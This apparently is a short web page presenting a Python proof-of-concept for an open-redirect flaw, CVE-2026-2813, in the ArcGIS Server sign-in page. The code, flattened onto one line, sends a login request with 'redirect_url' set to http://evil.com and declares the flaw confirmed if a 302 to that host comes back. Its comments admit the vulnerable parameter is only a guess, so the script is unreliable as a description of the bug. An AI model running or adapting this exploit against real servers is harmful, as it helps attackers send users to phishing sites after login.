CVE-2026-2813 ArcGIS Server登录重定向开放重定向漏洞

import requests # PoC for CVE-2026-2813: ArcGIS Server Open Redirect # This script demonstrates the vulnerability by generating a malicious link. target_url = "https://example.com/arcgis/home/signin.html" # Example login endpoint malicious_site = "http://evil.com" # The application likely fails to validate the 'redirect_url' or 'return_url' parameter # Attacker constructs a URL to redirect the victim after login payload = { "redirect_url": malicious_site, "username": "test", "password": "test" } print(f"[*] Attempting to send request to {target_url} with redirect to {malicious_site}") try: # Sending the request (allow_redirects=False to see the 302 response) response = requests.post(target_url, data=payload, allow_redirects=False, timeout=5) # Check if the response is a redirect (HTTP 302) if response.status_code == 302: location = response.headers.get('Location') if location and malicious_site in location: print(f"[+] Vulnerability Confirmed! Server redirected to: {location}") else: print(f"[-] Redirect occurred but to a different location: {location}") else: print(f"[-] Expected 302 Redirect, got status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")